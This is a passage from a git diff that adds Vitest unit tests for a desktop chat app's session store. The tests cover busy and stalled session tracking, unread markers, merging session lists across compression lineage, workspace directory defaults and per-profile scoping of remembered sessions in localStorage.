+  it('adds a session to $attentionSessionIds when needsInput is true', () => {
+    const s = state({ busy: true, needsInput: false, storedSessionId: 's1' })
+    publishSessionState('rt1', s)
+
+    publishSessionState('rt1', { ...s, needsInput: true })
+
+    expect($attentionSessionIds.get()).toContain('s1')
+  })
+
+  it('marks a background session unread when its turn finishes', () => {
+    $selectedStoredSessionId.set('other-session')
+    const working = state({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    publishSessionState('rt1', { ...working, busy: false })
+
+    expect($unreadFinishedSessionIds.get()).toEqual(['s1'])
+  })
+
+  it('does NOT mark unread when the finishing session is the active one', () => {
+    $selectedStoredSessionId.set('s1')
+    const working = state({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    publishSessionState('rt1', { ...working, busy: false })
+
+    expect($unreadFinishedSessionIds.get()).toEqual([])
+  })
+
+  it('does NOT mark unread on idle→idle re-asserts (no prior working state)', () => {
+    $selectedStoredSessionId.set('other-session')
+    publishSessionState('rt1', state({ busy: false, storedSessionId: 's1' }))
+
+    expect($unreadFinishedSessionIds.get()).toEqual([])
+  })
+
+  it('grants settle grace when a working session goes idle', () => {
+    $selectedStoredSessionId.set('other')
+    const working = state({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    publishSessionState('rt1', { ...working, busy: false })
+
+    expect(getRecentlySettledSessionIds()).toEqual(['s1'])
+  })
+
+  it('does not grant grace on idle→idle re-asserts', () => {
+    publishSessionState('rt1', state({ busy: false, storedSessionId: 's1' }))
+    expect(getRecentlySettledSessionIds()).toEqual([])
+  })
+
+  it('clears settle grace when the session goes busy again', () => {
+    $selectedStoredSessionId.set('other')
+    const working = state({ busy: true, storedSessionId: 's2' })
+    publishSessionState('rt1', working)
+    const idle = { ...working, busy: false }
+    publishSessionState('rt1', idle)
+
+    expect(getRecentlySettledSessionIds()).toEqual(['s2'])
+
+    publishSessionState('rt1', { ...idle, busy: true })
+
+    expect(getRecentlySettledSessionIds()).toEqual([])
+  })
+})
+
+describe('session watchdog', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+    $selectedStoredSessionId.set(null)
+    $activeSessionId.set(null)
+  })
+
+  afterEach(() => {
+    vi.runOnlyPendingTimers()
+    vi.useRealTimers()
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+    $selectedStoredSessionId.set(null)
+    $activeSessionId.set(null)
+  })
+
+  it('marks a silent session stalled without pretending it finished', () => {
+    publishSessionState('rt1', state({ busy: true, storedSessionId: 's1' }))
+
+    vi.advanceTimersByTime(WATCHDOG_MS)
+
+    expect($workingSessionIds.get()).toContain('s1')
+    expect($stalledSessionIds.get()).toContain('s1')
+  })
+
+  it('clears stalled on new activity and rearms the watchdog', () => {
+    const working = state({ busy: true, storedSessionId: 's2' })
+    publishSessionState('rt2', working)
+    vi.advanceTimersByTime(WATCHDOG_MS)
+    expect($stalledSessionIds.get()).toContain('s2')
+
+    publishSessionState('rt2', { ...working, awaitingResponse: true })
+    expect($stalledSessionIds.get()).not.toContain('s2')
+
+    vi.advanceTimersByTime(WATCHDOG_MS - 1)
+    expect($stalledSessionIds.get()).not.toContain('s2')
+    expect($workingSessionIds.get()).toContain('s2')
+  })
+
+  it('clears both running and stalled on an authoritative terminal transition', () => {
+    const working = state({ busy: true, storedSessionId: 's3' })
+    publishSessionState('rt3', working)
+    vi.advanceTimersByTime(WATCHDOG_MS)
+    expect($stalledSessionIds.get()).toContain('s3')
+
+    publishSessionState('rt3', { ...working, busy: false })
+
+    expect($workingSessionIds.get()).not.toContain('s3')
+    expect($stalledSessionIds.get()).not.toContain('s3')
+  })
+
+  it('never marks a session stalled when it settles before the window', () => {
+    const working = state({ busy: true, storedSessionId: 's4' })
+    publishSessionState('rt4', working)
+    publishSessionState('rt4', { ...working, busy: false })
+    vi.advanceTimersByTime(WATCHDOG_MS)
+
+    expect($workingSessionIds.get()).not.toContain('s4')
+    expect($stalledSessionIds.get()).not.toContain('s4')
+  })
+
+  it('clears stalled state and disarms timers on a gateway wipe', () => {
+    publishSessionState('rt1', state({ busy: true, storedSessionId: 's1' }))
+    vi.advanceTimersByTime(WATCHDOG_MS)
+    expect($stalledSessionIds.get()).toEqual(['s1'])
+
+    clearAllSessionStates()
+    vi.advanceTimersByTime(WATCHDOG_MS)
+
+    expect($workingSessionIds.get()).toEqual([])
+    expect($stalledSessionIds.get()).toEqual([])
+  })
+})
+
+describe('computed $workingSessionIds', () => {
+  beforeEach(() => {
+    clearAllSessionStates()
+  })
+
+  afterEach(() => {
+    clearAllSessionStates()
+  })
+
+  it('is empty when no sessions are busy', () => {
+    expect($workingSessionIds.get()).toEqual([])
+  })
+
+  it('reflects sessions with busy=true and a storedSessionId', () => {
+    publishSessionState('rt1', state({ busy: true, storedSessionId: 's1' }))
+    publishSessionState('rt2', state({ busy: false, storedSessionId: 's2' }))
+    publishSessionState('rt3', state({ busy: true, storedSessionId: null }))
+
+    expect($workingSessionIds.get()).toEqual(['s1'])
+  })
+
+  it('updates when session state changes', () => {
+    publishSessionState('rt1', state({ busy: true, storedSessionId: 's1' }))
+    expect($workingSessionIds.get()).toEqual(['s1'])
+
+    publishSessionState('rt1', state({ busy: false, storedSessionId: 's1' }))
+    expect($workingSessionIds.get()).toEqual([])
+  })
+})
+
+describe('computed $attentionSessionIds', () => {
+  beforeEach(() => {
+    clearAllSessionStates()
+  })
+
+  afterEach(() => {
+    clearAllSessionStates()
+  })
+
+  it('reflects sessions with needsInput=true and a storedSessionId', () => {
+    publishSessionState('rt1', state({ needsInput: true, storedSessionId: 's1' }))
+    publishSessionState('rt2', state({ needsInput: false, storedSessionId: 's2' }))
+
+    expect($attentionSessionIds.get()).toEqual(['s1'])
+  })
+
+  it('clears when $sessionStates is cleared', () => {
+    publishSessionState('rt1', state({ needsInput: true, storedSessionId: 's1' }))
+    expect($attentionSessionIds.get()).toEqual(['s1'])
+
+    clearAllSessionStates()
+    expect($attentionSessionIds.get()).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/store/session.test.ts b/ui-desktop/src/store/session.test.ts
new file mode 100644
index 000000000..bf9ecf04d
--- /dev/null
+++ b/ui-desktop/src/store/session.test.ts
@@ -0,0 +1,679 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import {
+  $activeSessionId,
+  $connection,
+  $currentCwd,
+  $selectedStoredSessionId,
+  $sessions,
+  $unreadFinishedSessionIds,
+  _resetLegacyDiscardForTests,
+  applyConfiguredDefaultProjectDir,
+  getRememberedRoute,
+  getRememberedSessionId,
+  mergeSessionPage,
+  rememberedSessionProfile,
+  resolveComposerSessionKey,
+  sessionBelongsToProfile,
+  sessionPinId,
+  setCurrentCwd,
+  setRememberedRoute,
+  setRememberedSessionId,
+  setSelectedStoredSessionId,
+  setSessions,
+  shouldMigrateComposerScope,
+  touchSessionActivity,
+  workspaceCwdForNewSession
+} from './session'
+import {
+  $attentionSessionIds,
+  clearAllSessionStates,
+  getRecentlySettledSessionIds,
+  publishSessionState
+} from './session-states'
+
+const session = (over: Partial<SessionInfo>): SessionInfo => ({
+  archived: false,
+  cwd: null,
+  ended_at: null,
+  id: 'live',
+  input_tokens: 0,
+  is_active: false,
+  last_active: 0,
+  message_count: 0,
+  model: null,
+  output_tokens: 0,
+  preview: null,
+  source: null,
+  started_at: 0,
+  title: null,
+  tool_call_count: 0,
+  ...over
+})
+
+describe('computed $attentionSessionIds', () => {
+  beforeEach(() => {
+    clearAllSessionStates()
+  })
+
+  afterEach(() => {
+    clearAllSessionStates()
+  })
+
+  it('reflects sessions with needsInput=true and a storedSessionId', () => {
+    publishSessionState('rt1', { ...createClientSessionState('s1'), needsInput: true })
+    publishSessionState('rt2', { ...createClientSessionState('s2'), needsInput: false })
+
+    expect($attentionSessionIds.get()).toEqual(['s1'])
+  })
+
+  it('updates when needsInput changes', () => {
+    publishSessionState('rt1', { ...createClientSessionState('s1'), needsInput: true })
+    expect($attentionSessionIds.get()).toEqual(['s1'])
+
+    publishSessionState('rt1', { ...createClientSessionState('s1'), needsInput: false })
+    expect($attentionSessionIds.get()).toEqual([])
+  })
+
+  it('ignores sessions without a storedSessionId', () => {
+    publishSessionState('rt1', { ...createClientSessionState(null), needsInput: true })
+    expect($attentionSessionIds.get()).toEqual([])
+  })
+})
+
+describe('sessionPinId', () => {
+  it('uses the live id when there is no compression lineage', () => {
+    expect(sessionPinId(session({ id: 'abc' }))).toBe('abc')
+  })
+
+  it('uses the lineage root so a pin survives compression', () => {
+    // After auto-compression the entry surfaces under a fresh tip id but keeps
+    // the original root — pinning on the root keeps the pin stable.
+    expect(sessionPinId(session({ id: 'tip', _lineage_root_id: 'root' }))).toBe('root')
+  })
+})
+
+describe('resolveComposerSessionKey', () => {
+  it('keeps the lineage root across compression tip rotation', () => {
+    const tipBefore = '20260720_062637_ad96b3'
+    const tipAfter = '20260720_071049_a28905'
+    const sessions = [session({ id: tipAfter, _lineage_root_id: tipBefore })]
+
+    expect(resolveComposerSessionKey(tipBefore, [session({ id: tipBefore })])).toBe(tipBefore)
+    expect(resolveComposerSessionKey(tipAfter, sessions)).toBe(tipBefore)
+  })
+
+  it('falls back to the live id when the tip row is not loaded yet', () => {
+    expect(resolveComposerSessionKey('tip-new', [])).toBe('tip-new')
+  })
+})
+
+describe('shouldMigrateComposerScope', () => {
+  it('allows tip → lineage-root rekey within the same conversation', () => {
+    const sessions = [session({ id: 'tip-a', _lineage_root_id: 'root-a' })]
+
+    expect(shouldMigrateComposerScope('tip-a', 'root-a', sessions)).toBe(true)
+  })
+
+  it('blocks cross-session migrate when route flipped but store selection lags', () => {
+    // ChatView mid-switch: selectedStoredSessionId still A, route-driven
+    // queueSessionKey already B. Migrating would re-home A's queue onto B.
+    const sessions = [
+      session({ id: 'tip-a', _lineage_root_id: 'root-a' }),
+      session({ id: 'tip-b', _lineage_root_id: 'root-b' })
+    ]
+
+    expect(shouldMigrateComposerScope('tip-a', 'root-b', sessions)).toBe(false)
+    expect(shouldMigrateComposerScope('root-a', 'root-b', sessions)).toBe(false)
+    expect(shouldMigrateComposerScope('tip-a', 'tip-b', sessions)).toBe(false)
+  })
+
+  it('is a no-op for identical or missing keys', () => {
+    const sessions = [session({ id: 'tip-a', _lineage_root_id: 'root-a' })]
+
+    expect(shouldMigrateComposerScope('root-a', 'root-a', sessions)).toBe(false)
+    expect(shouldMigrateComposerScope(null, 'root-a', sessions)).toBe(false)
+    expect(shouldMigrateComposerScope('root-a', null, sessions)).toBe(false)
+  })
+})
+
+describe('mergeSessionPage', () => {
+  it('returns the server page untouched when there is nothing to keep', () => {
+    const previous = [session({ id: 'a' }), session({ id: 'b' })]
+    const incoming = [session({ id: 'a' })]
+
+    // Content, not identity: the title-carry map rebuilds the array even when
+    // nothing is carried, and `incoming` is a fresh server page every fetch.
+    expect(mergeSessionPage(previous, incoming, [])).toEqual(incoming)
+  })
+
+  it('keeps a still-working session the server omitted', () => {
+    // Repro of the disappearing-sessions bug: A finished and is returned by the
+    // server, but B and C are mid-first-response (message_count 0 in the DB) so
+    // listSessions(min_messages=1) skips them. They must survive the refresh.
+    const previous = [session({ id: 'c' }), session({ id: 'b' }), session({ id: 'a' })]
+    const incoming = [session({ id: 'a', message_count: 2 })]
+
+    const merged = mergeSessionPage(previous, incoming, ['b', 'c'])
+
+    expect(merged.map(s => s.id)).toEqual(['c', 'b', 'a'])
+    // The finished session comes from the fresh server payload, not the stale
+    // optimistic copy.
+    expect(merged.find(s => s.id === 'a')?.message_count).toBe(2)
+  })
+
+  it('does not duplicate a working session the server already returned', () => {
+    const previous = [session({ id: 'b' }), session({ id: 'a' })]
+    const incoming = [session({ id: 'b', message_count: 4 }), session({ id: 'a' })]
+
+    const merged = mergeSessionPage(previous, incoming, ['b'])
+
+    expect(merged.map(s => s.id)).toEqual(['b', 'a'])
+    expect(merged.find(s => s.id === 'b')?.message_count).toBe(4)
+  })
+
+  it('never resurrects a session the server dropped that is not in the keep set', () => {
+    // A deleted/archived session is removed from `previous` optimistically and
+    // is not in the keep set, so it must stay gone after a refresh.
+    const previous = [session({ id: 'b' }), session({ id: 'gone' })]
+    const incoming = [session({ id: 'b' })]
+
+    expect(mergeSessionPage(previous, incoming, ['b']).map(s => s.id)).toEqual(['b'])
+  })
+
+  it('keeps a pinned session that has aged off the recent page', () => {
+    // Repro of "loses pins until you refresh": a pinned chat falls off the
+    // most-recent page, so the server stops returning it. A hard replace would
+    // evict it and the Pinned section would go empty. The keep set (which
+    // carries pinned ids) must hold it in memory.
+    const previous = [session({ id: 'recent' }), session({ id: 'pinned' })]
+    const incoming = [session({ id: 'recent' })]
+
+    const merged = mergeSessionPage(previous, incoming, ['pinned'])
+
+    expect(merged.map(s => s.id)).toEqual(['pinned', 'recent'])
+  })
+
+  it('keeps a pinned session matched by its lineage root after compression', () => {
+    // The pin is stored on the lineage-root id, but the loaded row surfaces
+    // under its live compression tip. Matching on _lineage_root_id keeps it.
+    const previous = [session({ id: 'tip', _lineage_root_id: 'root' })] as SessionInfo[]
+    const incoming = [session({ id: 'other' })] as SessionInfo[]
+
+    const merged = mergeSessionPage(previous, incoming, ['root'])
+
+    expect(merged.map(s => s.id)).toEqual(['tip', 'other'])
+  })
+
+  it('evicts an old compression tip when the incoming page has the new tip from the same lineage', () => {
+    // Repro of #43483: after auto-compression rotates the tip (#4 → #5),
+    // the sidebar showed both the old tip and the new tip as separate rows.
+    // The old tip must be evicted because its lineage key matches the incoming
+    // new tip's lineage key.
+    const previous = [session({ id: 'tip-4', _lineage_root_id: 'root' }), session({ id: 'other' })] as SessionInfo[]
+
+    const incoming = [session({ id: 'tip-5', _lineage_root_id: 'root' })] as SessionInfo[]
+
+    // 'tip-4' is in the keep set (e.g. it was the active/working session),
+    // but should still be evicted because the incoming page carries the same
+    // lineage under a new tip id.
+    const merged = mergeSessionPage(previous, incoming, ['tip-4'])
+
+    expect(merged.map(s => s.id)).toEqual(['tip-5'])
+    // The new tip comes from the server payload.
+    expect(merged.find(s => s.id === 'tip-5')?._lineage_root_id).toBe('root')
+  })
+
+  it('preserves an unrelated pinned session even when lineage dedup is active', () => {
+    // Regression guard: lineage dedup must not accidentally evict sessions
+    // from a different lineage that happen to be in the keep set.
+    const previous = [
+      session({ id: 'a-old', _lineage_root_id: 'lineage-a' }),
+      session({ id: 'b', _lineage_root_id: 'lineage-b' })
+    ] as SessionInfo[]
+
+    const incoming = [session({ id: 'a-new', _lineage_root_id: 'lineage-a' })] as SessionInfo[]
+
+    const merged = mergeSessionPage(previous, incoming, ['b'])
+
+    expect(merged.map(s => s.id)).toEqual(['b', 'a-new'])
+  })
+
+  it('never regresses last_active behind an optimistic user-send bump', () => {
+    const previous = [session({ id: 'old', last_active: 9_000 })]
+    const incoming = [session({ id: 'old', last_active: 100, message_count: 4 })]
+
+    const merged = mergeSessionPage(previous, incoming, [])
+
+    expect(merged[0]?.last_active).toBe(9_000)
+    expect(merged[0]?.message_count).toBe(4)
+  })
+
+  it('carries an optimistic last_active across a compression tip rotation', () => {
+    const previous = [session({ id: 'tip-4', _lineage_root_id: 'root', last_active: 9_000 })] as SessionInfo[]
+    const incoming = [session({ id: 'tip-5', _lineage_root_id: 'root', last_active: 50 })] as SessionInfo[]
+
+    const merged = mergeSessionPage(previous, incoming, ['tip-4'])
+
+    expect(merged.map(s => s.id)).toEqual(['tip-5'])
+    expect(merged[0]?.last_active).toBe(9_000)
+  })
+})
+
+describe('touchSessionActivity', () => {
+  afterEach(() => {
+    setSessions([])
+  })
+
+  it('bumps last_active for a live id and a lineage-root pin target', () => {
+    setSessions([
+      session({ id: 'tip', _lineage_root_id: 'root', last_active: 10, preview: 'old' }),
+      session({ id: 'other', last_active: 20 })
+    ] as SessionInfo[])
+
+    touchSessionActivity('root', { at: 99, preview: 'just sent' })
+
+    const rows = $sessions.get()
+    const tip = rows.find(s => s.id === 'tip')
+    const other = rows.find(s => s.id === 'other')
+
+    expect(tip?.last_active).toBe(99)
+    expect(tip?.preview).toBe('just sent')
+    expect(other?.last_active).toBe(20)
+  })
+
+  it('is monotonic — a stale stamp does not pull the row down', () => {
+    setSessions([session({ id: 'a', last_active: 50 })])
+
+    touchSessionActivity('a', { at: 10 })
+
+    expect($sessions.get()[0]?.last_active).toBe(50)
+  })
+
+  it('preserves array identity when nothing matched', () => {
+    const prev = [session({ id: 'a', last_active: 1 })]
+    setSessions(prev)
+
+    touchSessionActivity('missing', { at: 99 })
+
+    expect($sessions.get()).toBe(prev)
+  })
+})
+
+describe('workspaceCwdForNewSession', () => {
+  afterEach(() => {
+    applyConfiguredDefaultProjectDir(null)
+    $connection.set(null)
+    $currentCwd.set('')
+    $activeSessionId.set(null)
+    window.localStorage.removeItem('clawcodex.desktop.workspace-cwd')
+    window.localStorage.removeItem('clawcodex.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-a.default')
+    window.localStorage.removeItem('clawcodex.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-b.default')
+  })
+
+  it('prefers the configured default over the sticky remembered workspace', () => {
+    window.localStorage.setItem('clawcodex.desktop.workspace-cwd', '/home/user/sticky')
+    applyConfiguredDefaultProjectDir('/home/user/configured')
+
+    expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
+  })
+
+  it('keeps the configured default separate from a selected workspace', () => {
+    setCurrentCwd('/home/user/repo/.worktrees/feature')
+
+    applyConfiguredDefaultProjectDir('/home/user/configured')
+
+    expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
+    expect($currentCwd.get()).toBe('/home/user/repo/.worktrees/feature')
+  })
+
+  it('starts detached (no inherited cwd) when no default project dir is configured', () => {
+    // A bare new chat must NOT inherit the sticky/remembered or live workspace —
+    // that's the "why is my new session already on a branch" bug. Only an
+    // explicit configured default pre-attaches.
+    window.localStorage.setItem('clawcodex.desktop.workspace-cwd', '/home/user/sticky')
+    $currentCwd.set('/home/user/live')
+
+    expect(workspaceCwdForNewSession()).toBe('')
+  })
+
+  it('does not rewrite the live cwd while a session is active', () => {
+    $activeSessionId.set('sess-1')
+    $currentCwd.set('/live/session/path')
+    applyConfiguredDefaultProjectDir('/home/user/configured')
+
+    expect($currentCwd.get()).toBe('/live/session/path')
+    expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
+  })
+
+  it('keeps remote workspace memory separate from local and other remotes', () => {
+    window.localStorage.setItem('clawcodex.desktop.workspace-cwd', '/local/project')
+    $currentCwd.set('/live/session/path')
+    $connection.set({ baseUrl: 'http://backend-a', mode: 'remote' } as never)
+
+    expect(workspaceCwdForNewSession()).toBe('')
+
+    setCurrentCwd('/backend/project-a')
+    expect(workspaceCwdForNewSession()).toBe('/backend/project-a')
+
+    $connection.set({ baseUrl: 'http://backend-b', mode: 'remote' } as never)
+    expect(workspaceCwdForNewSession()).toBe('')
+
+    setCurrentCwd('/backend/project-b')
+    expect(workspaceCwdForNewSession()).toBe('/backend/project-b')
+
+    // Back on local with no configured default: a bare new chat is detached and
+    // never reads the remote keys (nor inherits the sticky local workspace).
+    $connection.set(null)
+    expect(workspaceCwdForNewSession()).toBe('')
+  })
+})
+
+function makeState(over: Partial<ClientSessionState> = {}): ClientSessionState {
+  return { ...createClientSessionState('s1'), ...over }
+}
+
+describe('getRecentlySettledSessionIds', () => {
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.setSystemTime(0)
+    // clearAllSessionStates also drops settle-grace entries + watchdog timers,
+    // so nothing leaks in from a previous test.
+    clearAllSessionStates()
+    $selectedStoredSessionId.set(null)
+    $unreadFinishedSessionIds.set([])
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+    clearAllSessionStates()
+    $selectedStoredSessionId.set(null)
+    $unreadFinishedSessionIds.set([])
+  })
+
+  it('keeps a session for the grace window after its turn settles, then drops it', () => {
+    // A turn starts then ends: the working→idle transition grants grace.
+    const working = makeState({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    const idle = { ...working, busy: false }
+    publishSessionState('rt1', idle)
+
+    expect(getRecentlySettledSessionIds()).toEqual(['s1'])
+
+    // Still inside the window.
+    vi.setSystemTime(29_000)
+    expect(getRecentlySettledSessionIds()).toEqual(['s1'])
+
+    // Past the window: the entry is pruned on read.
+    vi.setSystemTime(31_000)
+    expect(getRecentlySettledSessionIds()).toEqual([])
+  })
+
+  it('does not grant grace when the session was never working (idle re-asserts)', () => {
+    const idle = makeState({ busy: false, storedSessionId: 'idle' })
+    publishSessionState('rt1', idle)
+    expect(getRecentlySettledSessionIds()).toEqual([])
+  })
+
+  it('clears the grace timer when the session goes busy again', () => {
+    const working = makeState({ busy: true, storedSessionId: 's2' })
+    publishSessionState('rt1', working)
+
+    const idle = { ...working, busy: false }
+    publishSessionState('rt1', idle)
+
+    expect(getRecentlySettledSessionIds()).toEqual(['s2'])
+
+    // A new turn for the same session is "working" again — drop it from the
+    // settled set so it's tracked as working, not recently-finished.
+    const workingAgain = { ...idle, busy: true }
+    publishSessionState('rt1', workingAgain)
+
+    expect(getRecentlySettledSessionIds()).toEqual([])
+  })
+})
+
+describe('unread finished sessions', () => {
+  beforeEach(() => {
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+    $selectedStoredSessionId.set(null)
+  })
+
+  afterEach(() => {
+    clearAllSessionStates()
+    $unreadFinishedSessionIds.set([])
+    $selectedStoredSessionId.set(null)
+  })
+
+  it('marks a session unread when its turn finishes in the background', () => {
+    $selectedStoredSessionId.set('other-session')
+
+    const working = makeState({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    const idle = { ...working, busy: false }
+    publishSessionState('rt1', idle)
+
+    expect($unreadFinishedSessionIds.get()).toEqual(['s1'])
+  })
+
+  it('does NOT mark unread when the finishing session is the active one', () => {
+    $selectedStoredSessionId.set('s1')
+
+    const working = makeState({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    const idle = { ...working, busy: false }
+    publishSessionState('rt1', idle)
+
+    expect($unreadFinishedSessionIds.get()).toEqual([])
+  })
+
+  it('does NOT mark unread on idle→idle re-asserts (no prior working state)', () => {
+    $selectedStoredSessionId.set('other-session')
+
+    const idle = makeState({ busy: false, storedSessionId: 's1' })
+    publishSessionState('rt1', idle)
+
+    expect($unreadFinishedSessionIds.get()).toEqual([])
+  })
+
+  it('clears unread when the user opens the session', () => {
+    $selectedStoredSessionId.set('other')
+
+    const working = makeState({ busy: true, storedSessionId: 's1' })
+    publishSessionState('rt1', working)
+
+    const idle = { ...working, busy: false }
+    publishSessionState('rt1', idle)
+
+    expect($unreadFinishedSessionIds.get()).toEqual(['s1'])
+
+    setSelectedStoredSessionId('s1')
+    expect($unreadFinishedSessionIds.get()).toEqual([])
+  })
+})
+
+describe('remembered session id (per profile)', () => {
+  beforeEach(() => {
+    localStorage.clear()
+    _resetLegacyDiscardForTests()
+  })
+
+  afterEach(() => {
+    localStorage.clear()
+  })
+
+  it('scopes the remembered session by profile so one profile cannot read another', () => {
+    setRememberedSessionId('work-session', 'ai-engineer')
+    setRememberedSessionId('personal-session', 'default')
+
+    expect(getRememberedSessionId('ai-engineer')).toBe('work-session')
+    expect(getRememberedSessionId('default')).toBe('personal-session')
+    // A profile with nothing remembered does not inherit another's session.
+    expect(getRememberedSessionId('research')).toBeNull()
+  })
+
+  it('discards legacy unsuffixed keys on first read (zero-migration, refuse-to-guess)', () => {
+    // An existing install remembered its session under the pre-per-profile key.
+    localStorage.setItem('clawcodex.desktop.lastSessionId', 'legacy-session')
+
+    // Reading from any profile discards the legacy key — ownership is unknowable.
+    expect(getRememberedSessionId('default')).toBeNull()
+    expect(getRememberedSessionId('coder')).toBeNull()
+
+    // The legacy key must be cleared.
+    expect(localStorage.getItem('clawcodex.desktop.lastSessionId')).toBeNull()
+  })
+
+  it('uses encodeURIComponent so profile names with reserved chars are isolated', () => {
+    setRememberedSessionId('ops-session', 'research/ops')
+
+    expect(getRememberedSessionId('research/ops')).toBe('ops-session')
+    // Verify the storage key uses encoded form.
+    expect(localStorage.getItem('clawcodex.desktop.lastSessionId.profile.research%2Fops')).toBe('ops-session')
+    // Another profile with a different encoding cannot read it.
+    expect(getRememberedSessionId('research')).toBeNull()
+  })
+
+  it('clearing one profile leaves the others intact', () => {
+    setRememberedSessionId('work-session', 'ai-engineer')
+    setRememberedSessionId('personal-session', 'default')
+
+    setRememberedSessionId(null, 'ai-engineer')
+
+    expect(getRememberedSessionId('ai-engineer')).toBeNull()
+    expect(getRememberedSessionId('default')).toBe('personal-session')
+  })
+})
+
+describe('remembered route (per profile)', () => {
+  beforeEach(() => {
+    localStorage.clear()
+    _resetLegacyDiscardForTests()
+  })
+
+  afterEach(() => {
+    localStorage.clear()
+  })
+
+  it('scopes the remembered route by profile so one profile cannot restore another', () => {
+    // A session route embeds a session id. Remembered globally, a cold start
+    // under 'default' would navigate straight into ai-engineer's conversation.
+    setRememberedRoute('/session/work-session', 'ai-engineer')
+    setRememberedRoute('/session/personal-session', 'default')
+
+    expect(getRememberedRoute('ai-engineer')).toBe('/session/work-session')
+    expect(getRememberedRoute('default')).toBe('/session/personal-session')
+    expect(getRememberedRoute('research')).toBeNull()
+  })
+
+  it('discards legacy unsuffixed keys on first read (zero-migration, refuse-to-guess)', () => {
+    localStorage.setItem('clawcodex.desktop.lastRoute', '/skills')
+
+    // Reading from any profile discards the legacy key.
+    expect(getRememberedRoute('default')).toBeNull()
+    expect(getRememberedRoute('coder')).toBeNull()
+
+    expect(localStorage.getItem('clawcodex.desktop.lastRoute')).toBeNull()
+  })
+
+  it('uses encodeURIComponent so profile names with reserved chars are isolated', () => {
+    setRememberedRoute('/cron', 'research/ops')
+
+    expect(getRememberedRoute('research/ops')).toBe('/cron')
+    expect(localStorage.getItem('clawcodex.desktop.lastRoute.profile.research%2Fops')).toBe('/cron')
+    expect(getRememberedRoute('research')).toBeNull()
+  })
+
+  it('clearing one profile leaves the others intact', () => {
+    setRememberedRoute('/session/work-session', 'ai-engineer')
+    setRememberedRoute('/session/personal-session', 'default')
+
+    setRememberedRoute(null, 'ai-engineer')
+
+    expect(getRememberedRoute('ai-engineer')).toBeNull()
+    expect(getRememberedRoute('default')).toBe('/session/personal-session')
+  })
+
+  it('route and session id agree on the owner, so restore cannot cross profiles', () => {
+    // The cold-start restore prefers the route over the id, so the two keys
+    // must be written under the same owner or the id scoping is bypassed.
+    const owner = rememberedSessionProfile([session({ id: 'stored-1', profile: 'ai-engineer' })], 'stored-1', 'default')
+
+    setRememberedSessionId('stored-1', owner)
+    setRememberedRoute('/session/stored-1', owner)
+
+    expect(getRememberedRoute('default')).toBeNull()
+    expect(getRememberedSessionId('default')).toBeNull()
+    expect(getRememberedRoute('ai-engineer')).toBe('/session/stored-1')
+  })
+})
+
+describe('sessionBelongsToProfile', () => {
+  it('validates that a session row matches a stored id and target profile', () => {
+    const sessions = [
+      session({ id: 's1', profile: 'ai-engineer' }),
+      session({ id: 's2', profile: 'default' }),
+      session({ id: 's3', profile: 'ai-engineer' })
+    ]
+
+    expect(sessionBelongsToProfile(sessions, 's1', 'ai-engineer')).toBe(true)
+    expect(sessionBelongsToProfile(sessions, 's3', 'ai-engineer')).toBe(true)
+    expect(sessionBelongsToProfile(sessions, 's2', 'default')).toBe(true)
+    // Wrong profile.
+    expect(sessionBelongsToProfile(sessions, 's1', 'default')).toBe(false)
+    // Missing session.
+    expect(sessionBelongsToProfile(sessions, 's-missing', 'ai-engineer')).toBe(false)
+  })
+
+  it('matches on lineage root so compressed tips validate their owner', () => {
+    const sessions = [session({ id: 'tip-2', _lineage_root_id: 'root-1', profile: 'work' })]
+
+    expect(sessionBelongsToProfile(sessions, 'root-1', 'work')).toBe(true)
+    expect(sessionBelongsToProfile(sessions, 'tip-2', 'work')).toBe(true)
+    // Wrong profile even when lineage matches.
+    expect(sessionBelongsToProfile(sessions, 'root-1', 'personal')).toBe(false)
+  })
+
+  it('normalizes blank/empty profiles to default', () => {
+    const sessions = [session({ id: 's1', profile: '' }), session({ id: 's2', profile: null as unknown as string })]
+
+    expect(sessionBelongsToProfile(sessions, 's1', 'default')).toBe(true)
+    expect(sessionBelongsToProfile(sessions, 's1', '')).toBe(true)
+    expect(sessionBelongsToProfile(sessions, 's2', 'default')).toBe(true)
+  })
+
+  it('returns false for an empty session list', () => {
+    expect(sessionBelongsToProfile([], 'any-id', 'default')).toBe(false)
+  })
+})
+
+describe('rememberedSessionProfile', () => {
+  it('keys by the session row owning profile, not the active one', () => {
+    const sessions = [session({ id: 'stored-1', profile: 'ai-engineer' })]
+
+    expect(rememberedSessionProfile(sessions, 'stored-1', 'default')).toBe('ai-engineer')
+  })
+
+  it('matches on the lineage root so a compressed tip resolves its owner', () => {
+    const sessions = [session({ _lineage_root_id: 'root-1', id: 'tip-2', profile: 'work' })]
+
+    expect(rememberedSessionProfile(sessions, 'root-1', 'default')).toBe('work')
+  })
+
+  it('falls back to the active profile for a session not yet in the list', () => {
+    expect(rememberedSessionProfile([], 'uncached', 'research')).toBe('research')
+  })
+
+  it('normalizes a blank active profile to default', () => {
+    expect(rememberedSessionProfile([], null, '')).toBe('default')
+    expect(rememberedSessionProfile([], null, null)).toBe('default')
+  })
+})
diff --git a/ui-desktop/src/store/session.ts b/ui-desktop/src/store/session.ts
new file mode 100644
index 000000000..ee12b1f1f
--- /dev/null
+++ b/ui-desktop/src/store/session.ts
@@ -0,0 +1,728 @@
+import type { ConnectionState } from '@clawcodex/shared'
